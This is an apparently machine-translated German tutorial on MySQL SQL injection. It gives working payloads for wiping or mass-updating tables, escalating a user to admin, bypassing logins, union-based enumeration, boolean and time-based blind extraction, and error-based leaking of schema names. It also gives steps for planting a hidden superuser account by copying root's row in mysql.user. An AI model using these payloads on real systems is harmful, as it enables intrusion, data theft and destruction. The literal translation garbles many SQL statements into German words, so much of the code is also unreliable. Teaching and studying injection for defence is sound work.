Grundlagen der MySQL-Injektion
INSERT-Logik
4 Typen (Werte, setzen, auswählen, leer)
Werte in Benutzer (UID, Benutzername, Passwort) einfügen (10015, 'peiqi', '123456')
in Benutzerwerte einfügen (10016, 'peiqi', '123456')
In Benutzer einfügen (uid, uname) wählen Sie 10017, 'peiqi'
in Benutzer einfügen set uid = 10018, uname = 'peiqi'
INSERT-Fehlerlogik
IN Benutzerwerte EINFÜGEN ('1', 'hxf', 'hxf123', 'hxftest')
Wenn Sie den Typ des Felds kennen und es absichtlich in einen anderen Typ schreiben und der Hintergrund die falschen Informationen nicht ordnungsgemäß verarbeitet, können die Informationen verloren gehen.
Warnungen anzeigen; Fehler anzeigen
INSERT behält die Backdoor-Logik bei
In Benutzer einfügen (UID, Uname, Blog) Wählen Sie 10021, 'michae121', ' <script>alert()</script>
', 'hxf132'.
1. Der Angreifer kann Virenskripte einfügen. Wenn beim Öffnen einer Webseite das Verarbeitungsprogramm den Browser nicht daran hindert, das Skript zu analysieren, werden viele Werbefenster angezeigt.
2. Der Angreifer kann Datenbankverbindungs- und Kommunikationsskripts einfügen, sodass er gegebenenfalls in outfile ein Verzeichnis auswählt, auf das das Web zugreifen kann. Ziel ist es, über eine http-Verbindung direkt auf die Datenbank zuzugreifen.
Injektionslogik LÖSCHEN
create table users2 as select * from users;
Erstellen Sie Tabellenbenutzer2 und kopieren Sie die Tabellenbenutzer hinein
DELETE FROM users2 where uname='peiqi';
Löschen Sie die angegebenen Daten
DELETE FROM users2;
Löschen Sie alles in der Tabelle users2.
Zuordnung löschen löschen
delete a,b from emp a, dept b where a.dept_no=b.dept_no and a.dept_no='d006';
// Wobei a und b Aliase von emp bzw. dept sind. Löschen Sie die Zeilen, in denen das Feld dept_no in der Tabelle emp und die Tabelle dept beide d006 sind.
Injizieren Löschen
DELETE FROM Benutzer wobei uname = 'hxf'
DELETE FROM users where uname = ' ' or '1'='1
' // Die Folgen sind sehr schwerwiegend. Löschen Sie direkt alle Daten in der Benutzertabelle
UPDATE-Anweisungslogik
update users2 set gold = 10000 wobei uid = 10011;
update users2 set gold = 10000; Aktualisiere alle Werte ohne Eingabe von Bedingungen
UPDATE fügt die Aktualisierungslogik der gesamten Werke ein
Nutzlast:'or '1'='1
update users2 setze gold = 20000 wobei uname = ' ' or '1'='1
' update
UPDATE-Eskalation
Nutzlast:', isadmin='1
update users2 set email = ' ',isadmin='1
' where uname = 'hxf'
SELECT Grundlagen
Wählen Sie Benutzername, Passwort und UID von Benutzern aus, bei denen UID = 10022 oder UID = 10003 ist
Sortieren nach
Wählen Sie * aus der Benutzerreihenfolge nach Uname; // Entsprechend dem Uname-Feldinhalt az Forward Sort
Wählen Sie * aus der Benutzerreihenfolge nach uname desc; // Sortierung umkehren
Reihenfolge nach 1; // Nach dem ersten Feld vorwärts sortieren
order by 2 desc; // Umgekehrte Reihenfolge gemäß dem zweiten Feld
Grenze
Limit 10 nehmen die ersten zehn Zeilen
limit 0,1 Nimm eins vom 0 ..
in Aussage
Wählen Sie * von Benutzern aus, in denen sich uid befindet (wählen Sie uid von Benutzern aus2)
Das Ergebnis der Abfrageanweisung in Klammern wird als Wert von uid verwendet
existiert Richter Existenz, gibt wahr oder falsch zurück
Wählen Sie * von Benutzern aus, wo vorhanden (wählen Sie UID von Benutzern2).
// Wenn die leere Zahl einen Rückgabewert enthält, gibt exist true zurück und alle Informationen in der Benutzertabelle werden zurückgegeben
wähle * von Benutzern a wo existiert (wähle uid von Benutzern2 b wo a.uid = b.uid);
// Realisiere die Funktion von in, gib die Daten von a.uid = b.uid in der Benutzertabelle zurück, dies ist die zugehörige Abfrage
Inner Join Inner Join-Abfrage
wähle a.uname, b.mobile aus game_user a inner join game_user_ext b auf a.uid = b.uid;
// Innerer Join ist eine innere Verbindung, die dem Verbinden der Tabelle game_user und der Tabelle game_user_ext entspricht. Die Bedingung für die Verbindung ist a.uid = b.uid
links beitreten
wähle a.uname, b.mobile aus game_user a left join game_user b auf a.uid = b.uid;
// Die linke Verbindung gibt alle Werte in der linken Tabelle und den Wert von a.uid = b.uid in der rechten Tabelle zurück
// Right Join Right Verbindungslogik ist genau das Gegenteil
SELECT Einspritzlogik
-
Fehler der injizierten Zeichen
'Um zu testen, wie die Datenbank mit einfachen Anführungszeichen umgeht, ob die Fehlermeldung ordnungsgemäß behandelt wird.
-
Erraten Sie die Anzahl der verarbeiteten Felder
Reihenfolge durch Dichotomie
Wenn die Webseite einen Fehler meldet oder die Verarbeitung abnormal ist, bedeutet dies, dass sie injiziert werden kann
-
Leere eingestellte Logik
uname = '' oder '0' = '9' // Die Abfrage uname ist leer oder 0 = 9, offensichtlich ist die Rückgabe leer
// Die Webseite meldet keinen Fehler, aber die Anzeigeseite hat keinen Inhalt.
-
Komplette Werkslogik
uname = '' oder '1' = '1' // ständig wahr, es ist möglich, den Datenbankinhalt zu durchlaufen
-
Union zuerst duplizieren und dann zusammenführen
Wählen Sie * aus der Benutzergewerkschaft aus. Wählen Sie * aus den Benutzern2.
// Alle Werte in der Tabelle users und users2 abfragen und nach der Deduplizierung zurückgeben
-
Sie können es selbst konstruieren
wähle uid, uname from users union wähle 1, 'balabala';
Geben Sie das Abfrageergebnis und 1, 'balabala' zurück.
-
-
Vereinigung alle einfache Verschmelzung
wähle * aus der Benutzervereinigung alle wähle * aus den Benutzern2;
// Alle Werte in der Tabelle users und users2 abfragen, ohne Deduplizierung zurückgeben
-
Fehlerlogik
Ein Fehler wird gemeldet, wenn die Anzahl der Felder an beiden Enden der Vereinigung inkonsistent ist
Wählen Sie * aus der Benutzergewerkschaft. Wählen Sie nacheinander '1,2,3 ...'
-
Ersatzlogik (oberer Rang eines Dritten)
uid = "10003 und 1 = 2 Vereinigung wählen 1,2,3,4,5,6,7,8"
// Treffen Sie gemäß der zurückgegebenen Nummer das nächste Urteil
DCL-Sprache und die Logik der Privilegieneskalation
DCL (Data Control Language) wird hauptsächlich von Administratoren mit Verwaltungsberechtigung verwendet.
-
Fragen Sie den MySQL-Benutzer ab
Wählen Sie Host, Benutzer und Passwort aus mysql.user.
-
Benutzer erstellen
Erstelle den Benutzer 'xqw' @ 'localhost', der durch 'abc' gekennzeichnet ist.
-
Benutzer löschen
Benutzer 'xqw' @ 'localhost' löschen;
-
Autorisierter Administrator
grant all privileges on *.* to admin@'%' identified by 'abc';
*. * Repräsentiert eine Tabelle oder ein Objekt in einer Datenbank
@ Repräsentativer Login
% Bedeutet, dass Sie sich von überall anmelden können
identifiziert durch 'abc' setze das Passwort auf abc
-
Autorisieren Sie Benutzer mit angegebenen Bereichsberechtigungen
grant select,insert on *.* to admin2@'%' identified 'abc'
Autorisieren Sie einen Benutzer admin2, der nur Berechtigungen für eine Tabelle oder ein Objekt in einer Datenbank auswählt und einfügt
Kann sich überall anmelden
-
Rechte Eskalation admin2
grant select,insert on *.* to admin2@'%' identified 'abc'
-
Flush-Berechtigungen; Aktualisierungsberechtigungen
-
Melden Sie sich bei der Datenbank an
mysql -h 192.168.1.120 -uadmin -pabc
Numerische Typen und Einspritzlogik
-
Numerische Typklassifizierung
Ganzzahlige Typen: tinyint, smallint, mediumint, int, bigint
Gleitkommatypen: float, double, decimal
-
Numerische Out-of-Bound-Fehlerberichterstattung und Injektionsanwendung
Geben Sie absichtlich einen Wert außerhalb der Grenzen ein, um den Feldnamen anzuzeigen, wenn ein Fehler gemeldet wird.
-
Typkonvertierungsfehler
Beispiel: Übergeben Sie absichtlich einen Zeichenwert an ein Feld, das ursprünglich eine Ganzzahl ist, damit der Feldname angezeigt wird, wenn ein Fehler gemeldet wird.
-
Die Logik vollständiger und leerer Mengen
Komplette Werke :
oder 1 = 1
oder– + 1 = - !! 2 // - + Negativ negativ positiv bedeutet positiv, - bedeutet positiv! ! Nicht nicht positiv
// Also - + 1 ist, - !! 2 ist 1
// Benutze - + !! Ersetzen Sie den Raum, vermeiden Sie die Back-End-Überprüfung des Raums
// Hinweis: Zwischen oder und- ist kein Leerzeichen.
uname = `` = '' // Konstante ist wahr, achten Sie auf einfache Anführungszeichen
Leere Mengenlogik :
oder 1 = 2
und 1 = 2
und! - + 2 = - !! 2 //! - + 2 ist 0, - !! 2 ist 1
Zeit- und Datumsinjektionslogik
-
Datums- und Uhrzeittyp
包括 Datum, Datum / Uhrzeit, Zeitstempel, Uhrzeit, Jahr
// Datum / Uhrzeit Datum Uhrzeit Typ
// Zeitstempel Zeitstempel
Tabelle testd erstellen (reg date, reg2 time, reg3 datetime, reg4 timestamp default current_timestamp bei update current_timestamp, reg5 year);
// datetime spart 8 Bytes
// Zeitstempel spart 4 Bytes
// Jahr speichert nur das Jahr
// Datum speichert nur das Datum
// Zeit spart nur Zeit
in testd Werte einfügen (now (), now (), now (), now (), now ());
-
Injizieren Sie die Logik
-
Wert außerhalb der Grenzen Fehler
Geben Sie absichtlich eine große Ganzzahl ein, was zu einem Fehler führt, und rufen Sie den Feldnamen ab
-
Fehler bei der numerischen Typkonvertierung
Beispiel: Es war ursprünglich ein Zeittyp. Die absichtliche Eingabe eines Zeichentyps verursachte einen Fehler und führte dazu, dass der Feldname platzte.
-
Zeichentyp und Einspritzlogik
-
Zeichentyp
char, varchar, binär, varbinary, blob, text, enum, set
// char Klartextzeichenfolge mit fester Länge
// varchar Klartextzeichenfolge variabler Länge
// binäre binäre Zeichenfolge mit fester Länge
// binäre Zeichenfolge mit varbinärer variabler Länge
// eine große Anzahl von Binärzeichenfolgen blob
// eine große Anzahl von Klartextzeichenfolgen schreiben
// Aufzählungstyp aufzählen
// Sammeltyp festlegen
Tabelle testc erstellen (un char (3), un2 varchar (3), un3 binary (3), un4 varbinary (3));
in testc-Werte einfügen ('xqw', 'xqw', 'xqw', 'xqw')
-
Injizieren Sie die Logik
-
Zeichentyp außerhalb der Grenzen Fehler
Die Eingabe einer sehr langen Zeichenfolge führt dazu, dass ein Fehler gemeldet wird, sodass der Feldname aus der Fehlermeldung erhalten wird und dann die Bedeutung des Feldnamens und die Funktion der Tabelle abgeleitet werden.
-
Typkonvertierungsfehler
Wählen Sie * von Benutzern aus, bei denen !! user_id = 'admin';
// Uname in eine Ganzzahl konvertieren, was zu einem Fehler führt
-
Text- und Blob-Typen bleiben hinter der Tür
-
Aufzählungstyp auflisten und Auflistungstyp festlegen
Aufzählungstyp kann und kann nur einen auswählen
Ein oder mehrere festgelegte Sammlungstypen sind optional
create table testd (uname1 enum ('a', 'b', 'c'), uname2 set ('a', 'b', 'c'));
in testd Werte einfügen ('a', 'a, b')
Wählen Sie * aus testd aus, wobei find_in_set ('a', uname2) // Datensätze mit a im Feld uname2 suchen
-
Injektionslogik find_in_set ()
Wählen Sie * aus Benutzern aus, bei denen uname = 'admin' und find_in_set (left (user (), 1), 's, t, u, r') = 1 sind
// Errate, ob das erste Zeichen des Benutzernamens s ist, wenn das Echo normal ist, ist es s, wenn es abnormal ist, ist es nicht s, und weitere Tests sind erforderlich
-
Vergleichsoperatoren und Injektionslogik
Wählen Sie * von Benutzern aus, bei denen uid> = 1007 und uid <= 1009; // Datensätze von 1007 bis 1009 zurückgeben
Wählen Sie * von Benutzern aus, bei denen die UID zwischen 1004 und 1007 liegt. // Geben Sie Datensätze von 1004 bis 1007 zurück
Wählen Sie * von Benutzern aus, bei denen uid in (1002,1003,1009); // die angegebenen drei Datensätze zurückgibt // im Gegenteil nicht in
Wählen Sie * von Benutzern aus, bei denen isadmin null ist. // Suchen Sie nach Datensätzen, bei denen isadmin gleich dem Nullwert ist. // Im Gegenteil, ist nicht null, um festzustellen, ob es nicht leer ist
Fuzzy-Abfrage:
Wählen Sie * von Benutzern aus, bei denen uname wie 'a%'; // Datensätze suchen, die mit //% beginnen, ist ein Platzhalter
Wählen Sie * von Benutzern aus, bei denen uname wie '% a%'; // Datensätze mit einem in uname suchen
-
Blindanwendung (abgegrenzter Anwendungsbereich)
und Länge (Benutzer ())> 10 und Länge (Benutzer ()) <20
Begrenzen Sie den Bereich und bestimmen Sie schließlich den spezifischen Wert, je nachdem, ob die Webseitenantwort normal ist oder nicht. Sie können auch zum Erraten des Datenbanknamens usw. verwendet werden.
注入 传 参 : uname = admin 'und uname>' a 'und uname <' d
结果 : Wählen Sie * aus Benutzern aus, bei denen name = 'admin' und uname> 'a' und uname <'d';
Logische Operatoren und injizierte Logik
Wählen Sie * von Benutzern aus, bei denen uid = 10003 und uname = 'admin';
&&
1 und 1 // ist wahr
1 und 0 // ist falsch
Wählen Sie * von Benutzern aus, bei denen uid = 10003 oder uname = 'saniya'; // zurückgegeben wird, wenn eine der Bedingungen erfüllt ist
||
1 oder 1 // ist wahr
1 oder 0 // ist wahr
0 oder 0 // ist falsch
1 ist wahr! 1 ist falsch
XOR
1 xoder 1 // ist 0
1 xoder 0 // ist 1
-
Komplexe Logik und injizierte Logikbeziehung
Invariante Logik:
Wählen Sie * von Benutzern aus, bei denen uid = 10003 und uname = 'admin' und 1 = 1;
Wählen Sie * von Benutzern aus, bei denen uid = 10002 und uname = 'admin' oder 1 = 2;
Wählen Sie * von Benutzern aus, bei denen uname = 'admin' && !!! 1;
Leere Mengenlogik:
Wählen Sie * von Benutzern aus, bei denen uid = 10002 und uname = 'admin' und 1 = 2;
Wählen Sie * von Benutzern aus, bei denen uid = 10002 und uname = 'admin' und 0 = true sind.
Wählen Sie * von Benutzern aus, bei denen uname = 'admin' &&! 1;
Komplette Arbeitslogik:
Wählen Sie * aus Benutzern mit uid = 10003 und uname = 'admin' oder 1 = 1;
Wählen Sie * von Benutzern aus, bei denen uname = 'admin' oder !! 1;
Wählen Sie * von Benutzern aus, bei denen uname = 'admin' oder !! 1 = ~~ 1; // ~ die bitweise Inversion ist (das Komplement ist bitweise invertiert). ~~ soll sich selbst wiederherstellen
-
Vollständiger Satz der Überprüfung des logischen Bypass-Passworts
Normale Logik: Wählen Sie * von Benutzern aus, bei denen uname = 'admin' und password = '123456';
Bypass: Wählen Sie * aus den Benutzern uname = '' oder '1' = '1' - und password = '$ password'; // Benutzername Feld Kommentar Bypass
Wählen Sie * unter Benutzern aus, bei denen uname = 'admin' und password = `` = ''; // Passwortfeldumgehung
Wählen Sie * von Benutzern aus, bei denen uname = 'admin' und '0' = '0'; // Benutzername Feldumgehung
Wörterbuch-Metadaten und Injektionsanwendungen
-
Erstellen Sie einen Superadministrator
// Der erste Schritt besteht darin, einen normalen Benutzer zu erstellen
in Benutzerwerte (Host, Benutzer, Passwort) einfügen ('%', 'admin3', Passwort ('abc'));
// Kopieren Sie zuerst einen Teil der Daten des Superadministratorkontos in eine temporäre Tabelle
Erstelle eine Tabelle tmp select * aus mysql.user wobei user = 'root' limit 1;
// Aktualisiere die Host-, Benutzer- und Passwortfelder in der Tabelle
Update tmp set host = '%', user = 'admin4', password = password ('abc');
// Füge den Datensatz in die Benutzertabelle ein
in mysql.user einfügen select * from tmp;
Flush-Berechtigungen; // Berechtigungen aktualisieren
-
MySQL-Datenbank
Die Benutzertabelle // speichert wichtige Informationen wie Host, Benutzername und Kennwort.
Die DB-Tabelle // speichert die Berechtigungsinformationen auf Datenbankebene.
column_priv table // speichert die detaillierten Berechtigungsverteilungsinformationen des Feldes.
-
Wörterbuchanwendung
-
Ruft alle Datenbanknamen der aktuellen Instanz ab
Wählen Sie ein unterschiedliches Tabellenschema aus information_schema.tables aus.
Wählen Sie schema_name aus information_schema.schemata aus.
-
information_schema Datenbank
Schematabelle : Speichert die Definitionsinformationen zur Datenbank
Tabellen Tabelle: Speichert alle Metadateninformationen der Tabellendefinitionsattribute
Spaltentabelle : Speichert die Informationen aller Felder unter allen Datenbanken
Routinen: gespeicherte Prozedur- oder Funktionsinformationen
Ansichten: Informationen versuchen
Trigger: Informationen auslösen
-
Rufen Sie den Tabellennamen und den Feldnamen ab
select database (); // Zeigt den aktuellen Datenbanknamen an
Wählen Sie table_name aus information_schema.tables aus, wobei table_schema = database (); // Alle Tabellen in der aktuellen Datenbank abrufen
Wählen Sie Spaltenname aus information_schema.columns aus, wobei table_schema = database () und table_name = 'users'; // Alle Feldnamen in der Benutzertabelle unter der aktuellen Datenbank abrufen
-
Spy Return und Passwort erraten Korrelationsfunktion
Nutzer()
current_user ()
session_user () // Benutzername
version () // Datenbankversionsnummer
database () // Datenbankname
length () // Länge zurückgeben
Länge (Datenbank ())> 2 // Errate die Lösungslänge
left (database (), 1)> 'h' // Das erste Zeichen von links
Teilzeichenfolge (database (), 1,1)> 'h' // Errate die Datenbankzeichen nacheinander
position ('@' in user ()) // Gibt die Position von @ im Benutzernamen zurück
locate ('@', user ()) // Die Funktion ist dieselbe wie oben
-
Spion kehrt zurück
user () , version ()
Probe: Testen Sie, ob das Programm gleichzeitig Funktionen, Unterabfragen, Klammern usw. filtert.
Beides sind im SQL99-Standard gebräuchliche Funktionen, und verschiedene Datenbankrückgabewerte haben ihre eigenen Merkmale und schließen daraus, um welchen Datenbanktyp es sich handelt.
Wie die Rückgabe der user () Funktion:
mysql gibt root @ localhost zurück
Orakel gibt sys zurück
sqlserver gibt sa zurück
Wenn die Ausführung erfolgreich ist, meldet sich der Spion zurück. Dies bedeutet, dass das Programm keine Funktionen, Klammern () und Unterabfragen filtert und möglicherweise komplexe Logik wie Funktionen und Unterabfragen ausführen kann.
Die Spione kehrten nicht zurück, was im Grunde darauf hinweist, dass der Injektionsangriff schwierig oder die Möglichkeit einer Injektion sehr gering ist.
Zeit stehlen verwandte Funktionen
Wählen Sie die Funktion sleep (5) // sleep in Sekunden
Benchmark auswählen (100000, md5 ('qianxun')) // Stresstest
// Berechne den md5-Wert des Strings 'qianxun' 100000 Mal und beurteile die Leistung der MySQL-Datenbank anhand der Ausführungszeit
Wählen Sie, ob (5> 2, 'a', 'b') // Der erste Parameter ist wahr, dann wird der zweite Parameterwert zurückgegeben, andernfalls wird der dritte Parameter zurückgegeben
-
Blindanwendung
Wählen Sie * unter Benutzern aus, bei denen uname = 'admin' und if (left (version (), 1)> 3, sleep (5), 1).
// Wenn die erste Ziffer der Datenbankversionsnummer größer als 3 ist, schlafen Sie 5 Sekunden lang, andernfalls geben Sie 1 zurück
// Beurteilen des Ergebnisses anhand der von der Seite zurückgegebenen Zeit
Wählen Sie * aus Benutzern aus, bei denen uname = 'admin' und if (ascii (substr (user (), 1,1)> 97), sleep (), 1).
// Die Vermutung des Strings muss zuerst in ASCII-Code konvertiert werden
Wählen Sie * vom Benutzer aus, wobei if (left (version (), 1) = 5, sleep (1), 1);
// Wenn die erste Ziffer der Versionsnummer gleich 5 ist, wird 1 * 5 Sekunden zurückgegeben. Der Multiplikator hängt von der Anzahl der Daten in der Tabelle ab
Wählen Sie * aus Benutzern aus, bei denen uname = 'admin' und if (substr (uname, 1,1) = 'b', Benchmark (1000000, md5 ('suibianxie')), 1).
// Verwenden Sie die Funktion "Benchmark ()", um den Grund vollständig zu ermitteln. Dies ist der gleiche wie bei sleep ().
Selbstberichtete familiäre Hintergrundfunktion
Selbstberichterstattung über den familiären Hintergrund: Wenn kein Fehler vorliegt, machen Sie Fehler und bringen Sie die Abfrageinformationen heraus, lassen Sie den Fehler herauskommen und teilen Sie dem Injektor mit, was vorhanden ist, und legen Sie alles offen, was von der Familie offenbart werden kann.
Wählen Sie * von Benutzern aus, bei denen if (uid> 10005,1,0) // Daten mit uid> 10005 zurückgibt
select rand () // gibt eine Dezimalstelle zwischen 0 und 1 zurück
wähle rand () * 2 // gib die Dezimalstelle zwischen 0 ~ 2 zurück
select round (rand () * 2) // gibt den Wert von rand () * 2 round zurück
select floor (rand () * 2) // gibt den Wert von rand () * 2 zurück, nachdem der Boden gerundet wurde
Wählen Sie concat ('abc', 'def') // Spleißen von abc und def
Wählen Sie unter Benutzer2 concat (Benutzer-ID, Vorname) aus. // Kombinieren Sie die Rückgabewerte der Felder Benutzer-ID und Vorname
Wählen Sie user_id, group_concat (first_name) von users2 aus.
// Den ersten Wert des Feldes user_id zurückgeben und alle Werte des Feldes first_name anzeigen (getrennt durch,)
// Wenn in group_concat () mehrere Parameter vorhanden sind, werden die Werte mehrerer Parameter miteinander verbunden, und dann werden die Ergebnisse jeder Durchquerung angezeigt (verwenden, trennen).
// concat () verbindet mehrere Parameterwerte miteinander und die Ergebnisse jeder Durchquerung werden einzeln angezeigt
Wählen Sie Benutzer-ID, Vorname aus Benutzer2. Gruppe nach Benutzer-ID; // Gruppe nach wird nur einmal angezeigt
Wählen Sie Benutzer_ID, Gruppen_Katze (Vorname) aus der Gruppe Benutzer2 nach Benutzer_ID aus.
// Verwenden Sie group_concat () für ein anderes Feld, und die Werte von Vorname mit derselben Benutzer-ID werden zusammengefügt (getrennt durch, getrennt).
-
Primärschlüssel-Konfliktfehler
Wählen Sie count (*), concat (user (), floor (rand () * 2)) als aus der Benutzergruppe von a;
// gruppieren nach a ist, um die Ergebnisse von concat (user (), floor (rand () * 2)) zu gruppieren, dh jedes Ergebnis von concat (user (), floor (rand () * 2)) Kann nur einmal erscheinen, mit anderen Worten, das Ergebnis ist ein Primärschlüssel
// Und concat (user (), floor (rand () * 2)) hat nur zwei Ergebnisse, root @ localhost1 und root @ localhost0
// Aufgrund der Existenz der Zufallsfunktion rand () wird rand () während der Ausführung einmal berechnet. Wenn die temporäre Tabelle keinen solchen Wert enthält, wird sie in die temporäre Tabelle eingefügt und während der Ausführung erneut berechnet Einfügen (Gruppieren nach Wird einmal neu berechnet a) Wenn die Gruppierung in der temporären Tabelle abgeschlossen ist, dh nachdem der Primärschlüssel festgelegt wurde, steht der später eingefügte Wert in Konflikt mit dem Primärschlüssel, was zu einem Fehler führt.
// Je größer der Zufallszahlenfaktor ist, desto wahrscheinlicher ist er und desto geringer ist die Wahrscheinlichkeit eines Primärschlüsselkonflikts. Damit der Primärschlüsselkonflikt so weit wie möglich einen Fehler meldet, muss der Zufallszahlenfaktor sein das kleinste und das Minimum ist 2 (zwei Arten von zufälligen Ergebnissen 0, 1), wählen Sie also rand () * 2.
-
Stellen Sie vertrauliche Systeminformationen bereit
Wählen Sie count (*), concat (version (), floor (rand () * 2), user ()) als a from users group by a;
// Der Fehler zeigt die Datenbankversion und den Benutzer an
-
Datenbanknamen verfügbar machen
Wählen Sie count (*), concat ((select (select (select schema_name from information_schema.schemata limit 0,1)) als a_col from information_schema.tables limit 0,1), floor (rand (0) * 2)) x_col from information_schema .tables gruppieren nach x_col
// Der erste Datenbankname wird angezeigt, und der folgende Datenbankname kann durch Ändern des Grenzwertparameters abgerufen werden
-
Legen Sie alle Tabellennamen offen
Wählen Sie count (*), concat ((select (select (select table_name from information_schema.tables wobei table_schema = database () limit 0,1)) als from information_schema.tables limit 0,1), floor (rand (0) * 2)) b aus der Gruppe information_schema.tables von b
// Wenn Sie den ersten Tabellennamen herausbrechen, können Sie den folgenden Datenbanknamen erhalten, indem Sie den Parameter limit ändern
-